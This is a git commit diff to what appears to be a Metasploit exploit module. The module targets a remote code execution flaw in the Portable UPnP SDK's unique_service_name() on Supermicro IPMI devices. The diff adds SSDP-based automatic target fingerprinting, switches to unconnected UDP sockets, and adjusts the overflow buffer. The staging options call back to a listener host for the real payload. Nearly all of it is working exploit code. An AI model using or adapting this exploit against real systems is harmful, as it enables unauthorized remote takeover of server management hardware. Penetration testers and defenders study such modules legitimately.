Fix typo, auto-fingerprint, unconnected sockets

unstable
HD Moore 2013-02-03 21:23:05 -06:00
parent 0660347fca
commit 9379c68e51
1 changed files with 92 additions and 17 deletions

View File

@ -10,8 +10,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
@ -26,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' => [
'hdm', # Exploit dev for Supermicro IPMI
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>' # Exploit dev for Supermicro IPMI
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
],
'License' => MSF_LICENSE,
@ -68,6 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Targets' =>
[
[ "Automatic", { } ],
#
# ROP targets are difficult to represent in the hash, use callbacks instead
#
@ -76,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Remote
# The callback handles all target-specific settings
:callback => :target_supermicro_ipmi_131,
# This matches the Server header of a SSDP reply
:fingerprint_server =>
/Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/
# This matches any line of the SSDP M-SEARCH response
:fingerprint =>
/Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
#
# SSDP response:
@ -90,44 +91,52 @@ class Metasploit3 < Msf::Exploit::Remote
} ]
],
'DisclosureDate' => 'Feb 03 2013'))
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 29 2013'))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
], self.class)
end
def exploit
unless self.respond_to?(target[:callback])
configure_socket
target_info = choose_target
unless self.respond_to?(target_info[:callback])
print_error("Invalid target specified: no callback function defined")
return
end
buffer = self.send(target[:callback])
buffer = self.send(target_info[:callback])
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n"
"MX:3\r\n\r\n"
print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...")
connect_udp
udp_sock.put(pkt)
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
r = udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do
::IO.select(nil, nil, nil, 1)
break if session_created?
end
handler
disconnect_udp
# No handler() support right now
end
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
def target_supermicro_ipmi_131
@ -135,8 +144,8 @@ class Metasploit3 < Msf::Exploit::Remote
buffer = Rex::Text.rand_text_alpha(2000)
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
buffer[1,1] = '"'
buffer[1900,1] = '"'
buffer[0,1] = '"'
buffer[1999,1] = '"'
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
@ -257,5 +266,71 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def choose_target
# If the user specified a target, use that one
return self.target unless self.target.name =~ /Automatic/
msearch =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
# Fingerprint the service through SSDP
udp_sock.sendto(msearch, rhost, rport, 0)
res = nil
1.upto(5) do
res,addr,info = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0)
end
self.targets.each do |t|
return t if t[:fingerprint] and res =~ t[:fingerprint]
end
if res and res.to_s.length > 0
print_status("No target matches this fingerprint")
print_status("")
res.to_s.split("\n").each do |line|
print_status(" #{line.strip}")
end
print_status("")
else
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
end
fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
end
# Accessor for our TCP payload stager
attr_accessor :service
# We need an unconnected socket because SSDP replies often come
# from a different sent port than the one we sent to. This also
# breaks the standard UDP mixin.
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
#
# Required since we aren't using the normal mixins
#
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
# Accessor for our UDP socket
attr_accessor :udp_sock
end